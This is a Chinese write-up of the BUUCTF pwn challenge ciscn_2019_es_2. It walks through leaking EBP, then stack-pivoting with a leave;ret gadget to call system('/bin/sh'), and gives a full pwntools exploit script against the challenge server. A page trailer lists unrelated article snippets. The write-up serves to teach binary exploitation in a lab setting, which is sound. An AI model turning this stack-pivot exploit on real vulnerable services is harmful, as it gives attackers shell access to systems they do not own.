BUUCTF Pwn ciscn_2019_es_2 WP
1.下载 checksec
用IDA32打开 定位main函数
发现了个假的后门函数:
看看vul函数:
使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造
所以使用栈迁移:
栈迁移需要用到leave ret 使用ROPgadget找地址:
构造第一个payload 泄露EBP地址:
payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
得到了EBP地址 需要调试以得出EBP地址离输入的距离:
下断点到vul函数 单步运行到函数快结尾位置查看栈情况:
看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38
接下来构造payload2 目的是使得EIP指向system函数
payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)
整体代码:
from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()
运行 得到flag:
相关文章:

BUUCTF Pwn ciscn_2019_es_2 WP
1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数: 看看vul函数: 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造 所以使用栈迁移: 栈迁移需要用到leave ret 使用ROPgadget找地址: …...
MongoDb-mongosh-登录
本地登录 mongosh --username root --password xxx 参考:Connect to a Deployment - MongoDB Shell...

C语言day3:shell脚本
一、作业题3 使用数组求出当前目录下.sh文件的个数 二、作业题4 使用数组求家目录下文件的个数 三、思维导图...

微信小程序Uniapp
使用命令行创建项目(vuets) npx degit dcloudio/uni-preset-vue#vite-ts my-vue3-project然后用HBX打开项目 再安装依赖 npm i 再运行开发版本,生成dist目录 pnpm dev:mp-weixin 注意要设置APPid 再用微信小程序打开...
mongoTemplate的复杂组装条件查询
mongoTemplate不像SQL那么灵活,组装条件较为复杂。 如下演示了查询类似于 AND name ‘张三’ OR age 12 NOT birthday > 2024-12-31 这类结构的代码示例。 脑子里的范围图: 所有的AND锁定一个范围,再跟所有的OR组成的范围取并集&#…...
httpslocalhostindex 配置的nginx,一刷新就报404了
当你的Nginx配置导致页面刷新时报404错误时,通常是由于以下几个原因造成的: 静态文件路径配置错误:Nginx没有正确地指向静态文件的目录。前端路由问题:如果是SPA(单页应用),刷新页面时Nginx没有…...
pandas删除值全部为0的整行和整列,还有0.0,0.000000也要删除
在 Pandas 中,如果需要删除全部为 0 的行或列,可以通过 .all() 方法来判断行或列是否所有元素都为 0,然后删除这些行或列。 代码示例 示例数据: import pandas as pd# 示例数据 data {A: [0, 2, 0, 4],B: [0, 0, 0, 0],C: [0, …...

IO Virtualization with Virtio.part 1 [十二]
久等了各位! 本篇开始讲解 IO 虚拟化中的 virtio,我会以 Linux 的 IIC 驱动为例,从 IIC 驱动的非虚拟化实现,到 IIC 驱动的半虚拟化实现,再到最后 X-Hyper 中如何通过 virtio 来实现前后端联系,一步步把 v…...
ShardingSphere-Proxy分表场景:go测试案例
接续上篇文章《ShardingSphere-Proxy分表场景测试案例》 go测试用例: package mainimport ("fmt""math/rand""time""github.com/bwmarrin/snowflake""gorm.io/driver/mysql""gorm.io/gorm""gor…...

OpenStack系列第四篇:云平台基础功能与操作(Dashboard)
文章目录 1. 镜像(Image)添加镜像查看镜像删除镜像 2. 卷(Volume)创建卷查看卷删除卷 3. 网络(虚拟网络)创建网络查看网络删除网络 4. 实例类型创建实例类型查看实例类型删除实例类型 4. 密钥对(…...

ESP32 I2S音频总线学习笔记(一):初识I2S通信与配置基础
文章目录 简介为什么需要I2S?关于音频信号采样率分辨率音频声道 怎样使用I2S传输音频?位时钟BCLK字时钟WS串行数据SD I2S传输模型I2S通信格式I2S格式左对齐格式右对齐格式 i2s基本配置i2s 底层API加载I2S驱动设置I2S使用的引脚I2S读取数据I2S发送数据卸载…...
25上半年软考高级系统分析师易混淆知识点
第1章 系统工程与信息系统基础 易混淆点1:系统工程生命周期与信息系统的生命周期 1、系统工程生命周期阶段 探索性研究→概念阶段→开发阶段→生产阶段→使用阶段→保障阶段→退役阶段 2、信息系统的生命周期 产生阶段→开发阶段(单个系统开发&…...
采集JSON解析错误的修复
两段采集来的JSON格式: 一: {"hwgOnlineId":"554312", "jiwuChatId":"", "phoneCategoryId":"20006", "cuxiaoSeq":{voucherTitle:1,lh 二: {"pic":&q…...
Java中实现对象的深拷贝(Deep Copy)
在Java中实现对象的深拷贝(Deep Copy)意味着创建一个对象的副本,使得原对象和副本对象完全分离,对副本对象的任何修改都不会影响到原对象。以下是几种实现深拷贝的方法: 1. 手动实现深拷贝 对于自定义类,…...

位置编码-APE
Transformer 中的绝对位置编码 (以下由gpt 生成) Transformer 的绝对位置编码(Absolute Position Encoding, APE)是用于对序列数据中的位置信息进行建模的一种方法。在 Transformer 的架构中,输入数据(如句…...
MySQL有哪些锁?
1.MySQL有哪些锁? 全局锁表级锁 表锁元数据锁意向锁 行级锁 记录锁间隙锁临键锁临时意向锁 我了解的是MySQL的锁可以分为全局锁、表级锁、行级锁。 我比较熟悉的是表级锁和行级锁,如果我们对表结构进行修改时,MySQL就会对这个表结构加一个…...

Everything实现,快速搜索文件
最近编写NTFS文件实时搜索工具, 类似 Everything 这样, 翻阅了很多博客, 结果大致如下: 1.分析比较肤浅, 采用USN日志枚举来获取文件记录 速度一言难尽, 因为日志枚举的是全盘所有文件的所有日志, 记录比文件记录还多, 速度当然很慢, 还有的甚至于是 使用 DeviceIoControl 函数…...

[硬件] DELL BIOS 相关注意事项
前言 前段时间重装系统. DELL BIOS属实资料少, 又难用. 这里给出相关的注意事项, 并且配上图片. BIOS相关注意事项 进入BIOS ESC/F2/ F12. 都可以进入BIOS, 当进U盘的入Win PE系统时, 使用F12 效果更佳. 关闭安全模式 切换到Boot Configuration选项,将Secure Boot选项off选…...

Rocky Linux 下安装Liboffice
Rocky Linux下安装Liboffice。 Step1: 在桌面,单击击键盘的Window键,点击出现的白色software按钮图标; Step2: 输入lib,即可自动跳出libre Office, 进行安装; Step3: Have fun with Rocky Linux....
【每日学点鸿蒙知识】长时任务、HarmonyAppProvision申请、preferences、Testing工具、应用保活
1、HarmonyOS 如何解决语音聊天、通信app退后台系统采集播放回调就会停止,回前台未恢复? 关于应用切到后台系统采集播放回调停止的问题原因如下:为了降低设备耗电速度、保障用户使用流畅度,系统会对退至后台的应用进行管控&#…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
#Uniapp篇:chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器:Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...
Go语言多线程问题
打印零与奇偶数(leetcode 1116) 方法1:使用互斥锁和条件变量 package mainimport ("fmt""sync" )type ZeroEvenOdd struct {n intzeroMutex sync.MutexevenMutex sync.MutexoddMutex sync.Mutexcurrent int…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...